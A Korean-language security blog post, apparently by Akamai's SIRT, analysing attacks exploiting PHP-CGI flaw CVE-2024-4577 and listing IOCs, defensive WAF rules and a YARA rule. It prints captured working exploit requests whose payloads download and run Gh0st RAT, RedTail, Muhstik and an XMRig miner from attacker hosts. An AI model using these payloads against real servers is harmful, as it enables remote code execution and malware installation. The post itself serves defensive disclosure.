공개 하루 만에 인터넷에서 발견된 CVE-2024-4577 악용
편집 및 추가 설명: 트리샤 하워드(Tricia Howard)
핵심 요약
Akamai 보안 인텔리전스 대응팀(SIRT)은 2024년 6월에 공개되었으며 CGI 모드를 실행하는 설치에 영향을 미치는 PHP 취약점 CVE-2024-4577과 관련된 활동을 모니터링해 왔습니다.
이 취약점은 주로 중국어 및 일본어 로캘을 사용하는 Windows 설치에 영향을 미치지만, 더 광범위한 설치에 영향을 미칠 수 있습니다.
SIRT는 취약점이 공개된 지 하루 만에 수많은 악용 시도를 관찰했으며, 이는 악용 가능성이 높고 공격자들이 빠르게 도입하고 있음을 나타냅니다.
이러한 악용에는 명령어 인젝션과 Gh0st RAT, RedTail cryptominers, XMRig 등의 여러 멀웨어 캠페인이 포함됩니다.
Akamai App & API Protector는 고객을 표적으로 삼는 악용을 자동으로 방어 하고 있습니다.
이 블로그 게시물에서는 다양한 악용에 대한 포괄적인 IOC(Indicator Of Compromise) 목록을 소개합니다.
서론
최근 몇 년 동안 취약점 공개에서 악용까지의 시간이 크게 단축되었으며, 실제로 대부분의 악성 활동이 패치 후 첫 달에 발생하고 있습니다. 2024년 5월을 기준으로 취약점이 공개된 후 악용이 시작되는 데 걸린 평균 시간은 약 4일 에 불과해, 보안팀 직원이 준비할 수 있는 시간이 거의 없습니다. 이는 취약점 공격의 일부분일 뿐이며, 공격자들은 자신들의 노력을 보상받기 위해 수년이 지난취약점도 지속적으로 악용하고 있습니다.
이러한 공격의 최근 사례 중 하나는 PHP(버전 8.1.*, 8.1.29 이전, 8.2.* 8.2.20 이전, 8.3.* 8.3.8 이전)에서 발견된 치명적인 취약점 입니다. 이 취약점은 PHP 및 CGI 핸들러가 특정 유니코드 문자를 구문 분석하는 방식으로 인해 발생하며, 공격자가 RCE(Remote Code Execution)를 달성할 수 있습니다. 매우 간단하게 악용할 수 있기 때문에 다양한 공격자들이 이 취약점을 악용해 취약한 디바이스를 공격하는 것이 관찰되었습니다.
이 블로그 게시물에서는 이 취약점을 악용하려는 몇 가지 관찰된 시도를 설명하고 그 영향에 대해 논의하며 수집한 IOC(Indicator Of Compromise)를 제시합니다.
CVE-2024-4577의 악용
중요도를 결정하는 요소 중 하나는 악용의 용이성인데, 이 취약점은 공격자가 어렵지 않게 실행할 수 있습니다. 공격자가 PHP 코드를 서버로 전송하고 이를 (잘못) 해석되도록 하는 것만으로 RCE를 달성할 수 있습니다.
이 취약점의 악용은 CVE-2012-1823과 마찬가지로, 요청 본문에 코드를 삽입하기 위해 php://input을 사용합니다. PHP에서 php://input은 요청 본문에서 원시 데이터를 읽을 수 있는 읽기 전용 I/O 스트림입니다. 악용에 일반적으로 사용되는 옵션은 기본 파일 앞에 자동으로 파싱되는 파일 이름을 지정하는 PHP auto_prepend_file입니다. 파일의 내용이 먼저 구문 분석되므로, 다른 코드가 실행되기 전에 공격자의 코드가 포함되도록 합니다.
많은 공격자들은 또한 원격 위치에서 데이터를 검색할 수 있게 하는 allow_url_include 옵션과 fopen 및 file_get_contents 같은 함수를 추거합니다.
명령어 인젝션
PHP의 CGI 모드에서 웹 서버는 HTTP 요청을 구문 분석해 PHP 스크립트로 전달하고, 이 스크립트는 추가 처리를 수행합니다. 예를 들어 쿼리 문자열은 구문 분석된 후 명령줄을 통해 PHP 인터프리터에 전달되기 때문에 http://host/cgi.php?foo=bar 같은 요청이 php.exe cgi.php foo=bar로 실행될 수 있습니다.
이로 인해 명령어 인젝션에 열린 경로가 남겨지면 php.exe를 호출하기 전에 입력이 위생 처리됩니다. CVE-2024-4577은 공격자가 명령줄을 탈출해 PHP가 인수를 직접 해석하도록 전달할 수 있게 하는 결함입니다. 취약점은 바로 유니코드 문자가 ASCII로 변환되는 방식에 있습니다. CVE-2024-4577에 대한 watchTowr Lab의 기사 에서 제공한 그림 1은 php.exe의 두 가지 호출(하나는 악성, 다른 하나는 정상)을 보여주며, 이를 통해 어떤 것이 악성인지 판단하는 것이 얼마나 어려운지 알 수 있습니다.
사람이 보기에는 동일하게 보이지만 이를 머신이 해석하는 방식에는 차이가 있습니다(그림 2). 이러한 인수를 16진수 편집기를 통해 살펴보면 첫 번째 요청은 표준 대시 또는 하이픈(0x2D)을 사용한 반면, 두 번째 요청은 “소프트 하이픈”(0xAD을 사용했음을 알 수 있습니다.
공격은 서로 다른 해석으로 인해 발생할 수 있습니다. 사용자가 CGI 핸들러에 소프트 하이픈을 전달하면 이 하이픈을 이스케이프 처리할 필요성을 느끼지 못합니다. PHP는 유니코드 처리에 가장 적합한 매핑을 적용하기 때문에 사용자가 실제로 소프트 하이픈을 전달할 때 표준 하이픈을 전달하려 한 것으로 간주합니다. 소프트 하이픈이 표준 하이픈으로 해석되기 때문에 공격자는 하이픈으로 시작하는 추가 명령줄 인수를 RCE를 위한 PHP 프로세스에 추가할 수 있습니다.
이 설명을 마무리하고 모든 것이 어떻게 결합되는지 이해하는 데 도움이 되도록 인터넷에서 캡처한 악성 페이로드의 예(그림 3)와 이 요청을 처리한 결과 호스트 시스템에서 실행되는 결과 명령어(그림 4)를 포함했습니다.
/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
그림 3: 악성 요청의 예
php.exe -d allow_url_include -d auto_prepend_file=php://input
Fig.4: 처리 후 악성 요청
악용 시도의 문서화
Gh0st RAT 멀웨어
공격자들이 공개에서 악용까지 걸리는 시간은 지속적으로 빨라졌고 새로운 취약점은 빠르게 이용되었습니다. PHP 취약점 공개 후 24시간 이내에 허니팟 네트워크에서 이를 노린 악용 시도가 관찰되었습니다.
이러한 시도 중 하나는 15년 이상 사용된 오픈 소스 원격 접속 툴인 Gh0st RAT 멀웨어(그림 5)와 관련이 있었습니다. 이 멀웨어는 UPX로 패킹된 Windows 실행 파일이었습니다.
Content-Type: application/x-www-form-urlencoded
User-Agent: python-requests/2.22.0
URI:
/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
POST DATA:
<?php system('certutil.exe -urlcache -f http://147.50.253[.]109:44119/phps.exe phpsm.exe&start phpsm.exe');?>
프록시 IP 주소: 23.237.182[.]122
날짜: 2024년 6월 9일
샌드박스 환경에서 멀웨어가 실행되면 이 멀웨어는 “Iqgqosc.exe”라는 추가 실행 파일을 드롭했으며, 이 파일 역시 UPX로 패킹되어 있었습니다. 실행 파일은 연결된 드라이브와 주변 장치를 열거하고 레지스트리를 쿼리합니다. 또한 이름을 "A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e.exe”로 변경합니다.
그리고 포트 8001을 통해 독일에 있는 명령 및 제어 서버 146.19.100[.]7로 비콘을 보냅니다.
147.50.253[.]109 IP 주소에는 태국에 위치한 소규모 서버 호스팅 공급업체와 연관된 것으로 보이는 CN(Common Name)이 “BangCloud”인 여러 개의 인증서가 있었습니다. 이 CN과 연결된 대부분의 IP 주소는 147.50.253[.]109라는 동일한 CIDR에 속해 있으며, VirusTotal에서 악성 파일 연결에 대해 모두 양성으로 나타났습니다. 이러한 IP 주소의 대부분은 이러한 결과에 대해 해시와 파일 이름이 중복되었습니다. 그림 6은 제공된 Gh0st RAT 샘플에 대한 MITRE ATT&CK Navigator 출력물을 보여줍니다.
RedTail 크립토마이너
SIRT는 취약점 공개 후 며칠 내에 CVE-2024-4577을 사용한 RedTail 의 크립토마이닝 작업도 관찰했습니다. 공격자는 “%ADd”의 소프트 하이픈 결함을 악용해 셸 스크립트에 대한 wget 요청을 실행하기 위해 이전의 다른 RedTail 공격과 유사한 요청을 보냈습니다. 이 스크립트는 동일한 러시아 기반의 IP 주소로 추가 네트워크 요청을 보내 x86 버전의 RedTail 크립토마이닝 멀웨어를 가져옵니다(그림 7).
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Linux; Linux x86_64; en-US) Gecko/20100101 Firefox/122.0
URI:
/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
POST DATA:
<?php shell_exec("SC=\$(wget -O- http://185.172.128[.]93/sh || curl http://185.172.128[.]93/sh); echo \"\$SC\" | sh -s cve_2024_4577"); ?>
셸 스크립트는 wget 또는 curl을 사용해 마이너 파일의 다운로드를 시도하며, 대체 방법으로 원시 TCP 연결을 사용합니다. 현재 피해자가 소유한 디렉터리 중 읽기, 쓰기, 실행 권한이 있는 디렉터리를 검색하며 “noexec“ 옵션으로 마운트된 디렉터리와 “/tmp” 및 “/proc”은 제외합니다. 그런 다음,
- 시스템의 아키텍처를 가져옵니다
- 테스트 파일을 생성 및 제거해 쓰기 권한을 테스트합니다
- 피해자의 아키텍처를 기반으로 페이로드를 다운로드하고 실행해 파일 이름을 “.redtail”로 변경합니다
셸 스크립트에 존재하는 아키텍처에는 Windows 디바이스에 적용되지 않는 아키텍처가 포함되어 있는데, 이는 공격자가 일반 스크립트를 재사용하고 특히 이 취약점에 맞게 조정하지 않았기 때문일 가능성이 높습니다.
Muhstik 멀웨어
허니팟에서 관찰된 이 악용을 남용하는 또 다른 캠페인은 Muhstik 멀웨어의 버전을 다운로드하는 셸 스크립트였습니다(그림 8).
User-Agent: python-requests/2.22
URI:
/?%ADd+allow_url_include%3D1+-d+auto_prepend_file%3Dphp://input
POST DATA:
<?php system('curl 86.48.2[.]49/3sh')?>;echo 1337; die;
셸 스크립트는 다른 IP 주소에서 “pty3”라는 파일을 다운로드하는데, 이 파일은 ELF 파일로 밝혀졌습니다. 추가 분석 결과, 이는 이전에 사물 인터넷과 Linux 서버를 표적으로 삼는 것으로 문서화 (크립토마이닝 및 분산 서비스 거부(DDoS) 목적)된 Muhstik 멀웨어 샘플일 가능성이 높습니다.
이 멀웨어는 이전에 보고된 “pty3”와 같은 Muhstik 멀웨어의 사례와 유사한 패턴과 명명 규칙을 보입니다. 또한 “/var/run/pty3”, “/dev/shm/pty3”, “/var/tmp/pty3”, “/var/lock/pty3” 등 Muhstik 멀웨어와 관련된 여러 디렉터리를 생성합니다.
이 멀웨어가 호출하는 명령 및 제어 도메인인 p.findmeatthe[.]top은 최근 Internet Relay Chat을 통해 통신하는 Muhstik 멀웨어 캠페인에 대한 별도의 문서 에 기록되어 있습니다.
XMRig
이 악용을 남용하는 것으로 관찰된 네 번째 캠페인은 다음 명령어를 실행하는 XMR 리그와 관련이 있습니다.
URI:
/test.hello?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input
POST DATA (Base64 Encoded):
<?php $cmd=base64_decode('cG93ZXJzaGVsbCAtQ29tbWFuZCAiJHdjID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsgJHRlbXBmaWxlID0gW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcEZpbGVOYW1lKCk7ICR0ZW1wZmlsZSArPSAnLmJhdCc7ICR3Yy5Eb3dubG9hZEZpbGUoJ2h0dHA6Ly9kb3dubG9hZC5jM3Bvb2wub3JnL3htcmlnX3NldHVwL3Jhdy9tYXN0ZXIvc2V0dXBfYzNwb29sX21pbmVyLmJhdCcsICR0ZW1wZmlsZSk7ICYgJHRlbXBmaWxlIDQ5dzhnc0x3N1V3VVZzelVCdFl1amROMU1jTmtvZVl1Y1RjdGFlUFg4bm1iaktBQnpKOVMxcmlnV2RoNUVpVVQxejROUEFQY2h4VDdSYUpYTjNmVVJVcE02RjZLR2p5OyBSZW1vdmUtSXRlbSAtRm9yY2UgJHRlbXBmaWxlIg==');system($cmd) ?>
POST DATA (Base64 Decoded):
powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('http://download.c3pool[.]org/xmrig_setup/raw/master/setup_c3pool_miner.bat', $tempfile); & $tempfile 49w8gsLw7UwUVszUBtYujdN1McNkoeYucTctaePX8nmbjKABzJ9S1rigWdh5EiUT1z4NPAPchxT7RaJXN3fURUpM6F6KGjy; Remove-Item -Force $tempfile"
삽입된 명령어는 PowerShell을 사용해 원격 채굴 풀에서 XMRig를 가동하는 스크립트를 다운로드하고 실행한 다음, 난독화를 위해 임시 파일을 정리합니다.
방어
Akamai는 이 취약점의 영향을 받는 기업에 필요한 패치를 신속히 적용하고 IOC에 대한 모니터링에 참여할 것을 권장합니다.
자동 모드에서 Akamai Adaptive Security Engine을 사용하고 명령어 인젝션 공격 그룹을 거부로 설정한 고객은 이러한 종류의 공격에 대한 방어 기능이 자동으로 활성화됩니다.
수동 모드에서 Adaptive Security Engine을 사용하는 고객은 거부 모드에서 명령어 인젝션 공격 그룹 또는 다음 룰이 있는지 확인해야 합니다. 페이로드에 따라 이러한 룰 중 하나 이상이 이 취약점을 방어합니다.
- 969151 v1 - PHP 인젝션 공격(오프닝 태그)
- 959977 v1 - PHP 인젝션 공격(설정 재정의)
- 3000155 v1 - CMD 인젝션 공격 탐지(PHP·데이터 필터 탐지)
- 3000171 v3 - 웹셸·백도어 파일 업로드 시도
항상 그렇듯이 콘솔에서 룰 세트의 업데이트 및 추가 사항을 자주 확인해야 합니다. 악용이 공개된 직후, 이 취약점을 악용하려는 대량의 스캔이 관찰되었습니다. 대부분의 공개 취약점과 마찬가지로 대다수의 요청은 버그 바운티 헌터와 기타 스캐너로부터 발생했습니다. 이 트래픽은 여러 Adaptive Security Engine 룰에 의해 포착되어 차단되었습니다(그림 9 및 10).
하지만 이 취약점을 악용하려는 모든 트래픽이 버그 바운티 헌터로부터 시작된 것은 아니었습니다. Adaptive Security Engine은 이러한 요청을 차단하는 동시에 허니팟에서 관찰된 것과 동일한 악성 악용으로부터 고객을 자동으로 방어했습니다(그림 11).
추가로 Adaptive Security Engine이 차단한 악용 중 허니팟이 탐지하지 못한 것이 하나 있었습니다. 그림 12에 표시된 페이로드에서 공격자는 자신이 제어하는 서버에서 표적 서버의 루트 디렉터리로 파일을 복사하려고 시도했습니다. 복사된 파일 “up.txt”는 공격자가 “/xl.php” 엔드포인트를 사용해 추가 파일을 업로드할 수 있게 해줍니다. 공격자는 이를 이용해 웹 셸이나 멀웨어 같은 다른 악성 파일을 업로드할 수 있습니다. 가장 중요한 것은 공격자가 파일을 업로드하는 또 다른 방법을 만들어 CVE-2024-4577 패치가 적용된 후에도 접속을 유지할 수 있다는 점입니다.
결론
공격자들은 다양한 자동화 툴이 사용되고 기업의 감독이 부족한 점을 틈타 성공을 위한 준비를 갖추고 있습니다. 새로운 취약점이 공개된 후 보안팀 직원이 스스로 보호할 시간이 계속 줄어드는 것도 또 다른 심각한 보안 리스크입니다. 이번 PHP 취약점은 특히 악용 가능성이 높고 공격자들이 빠르게 채택하기 때문에 더욱 그렇습니다.
Akamai SIRT는 고객사와 보안 커뮤니티 전반의 경각심을 고취하고자 이와 같은 위협을 계속해서 모니터링하고 보고서를 작성할 예정입니다. 더 많은 리서치를 확인하려면 X(구 Twitter)에서 Akamai를 팔로우해최신 정보를 받아보시기 바랍니다.
Gh0st RAT
SHA256 해시
A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e
파일 이름
A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e.exe
phps.exe
Iqgqosc.exe
IPv4 주소
147.50.253[.]109
146.19.100[.]7
23.237.182[.]122
VirusTotal의 히트와 BangCloud 연결 IOC
147.50.253[.]220
147.50.253[.]222
147.50.253[.]225
147.50.253[.]219
147.50.253[.]231
147.50.253[.]99
147.50.253[.]100
147.50.253[.]228
147.50.253[.]5
147.50.253[.]4
154.197.12[.].156
147.50.253[.]110
147.50.253[.]102
147.50.253[.]218
147.50.253[.]23
147.50.253[.]11
147.50.253[.]163
147.50.253[.]2
147.50.253[.]116
147.50.253[.]18
147.50.253[.]109
147.50.253[.]106
147.50.253[.]112
147.50.253[.]111
147.50.253[.]7
147.50.253[.]104
147.50.253[.]167
147.50.253[.]119
147.50.253[.]113
147.50.253[.]103
147.50.253[.]107
147.50.253[.]105
147.50.253[.]114
147.50.253[.]108
147.50.253[.]101
147.50.253[.]117
147.50.253[.]115
147.50.229[.]12
MITRE ATT&CK 기법
T1091 - 이동식 미디어를 통한 복제
T1547 - 부팅 또는 로그온 자동 시작 실행
T1056 - 입력 캡처
T1112 - 레지스트리 수정
T1003 - OS 크리덴셜 덤핑
T1120 - 주변 디바이스 검색
T1027 - 난독화된 파일 또는 정보
T1071 - 애플리케이션 레이어 프로토콜
T1082 - 시스템 정보 검색
T1571 - 비표준 포트
T1057 - 프로세스 검색
RedTail
IPv4 주소
185.172.128[.]93
SHA256 해시
2c602147c727621c5e98525466b8ea78832abe2c3de10f0b33ce9a4adea205eb
0d70a044732a77957eaaf28d9574d75da54ae430d8ad2e4049bd182e13967a6f
ab897157fdef11b267e986ef286fd44a699e3699a458d90994e020619653d2cd
9753df3ea4b9948c82310f64ff103685f78af85e3e08bb5f0d0d44047c63c315
19a06de9a8b66196fa6cc9e86824dee577e462cbeaf36d715c8fea5bcb08b54d
파일 이름
sh - 셸 스크립트
X86_64 - Redtail 페이로드
.redtail - RedTail 페이로드
YARA 룰
rule redtail_miner {
meta:
author = "Akamai SIRT"
date = "06/24/2024"
version = "1.0"
description = "YARA Rule for Red Tail Crypto Miner and Shell Script"
strings:
$a1 = "rm -rf .redtail"
$a2 = "mv x86_64 .redtail"
$a3 = "mv i686 .redtail"
$a4 = "mv aarch64 .redtail"
$a5 = "mv arm7 .redtail"
$a6 = "./.redtail $1 > /dev/null 2>&1"
condition:
2 of ($*)
}
Muhstik 멀웨어
셸 스크립트 SHA256 해시
1ae2fef05798f0f27e9de76fcef0217f282090fab1ba750623ca36b413151434
ELF 파일 SHA256 해시
9e28f942262805b5fb59f46568fed53fd4b7dbf6faf666bedaf6ff22dd416572
파일 이름
3sh - 셸 스크립트
pty3 - Muhstik 멀웨어 페이로드
IPv4 주소
147.139.29[.]220
86.48.2[.]49
185.201.8[.]176
194.59.165[.]52
156.67.218[.]115
도메인
p.findmeatthe[.]top
p.deutschland-zahlung[.]eu
p.shadow-mods[.]net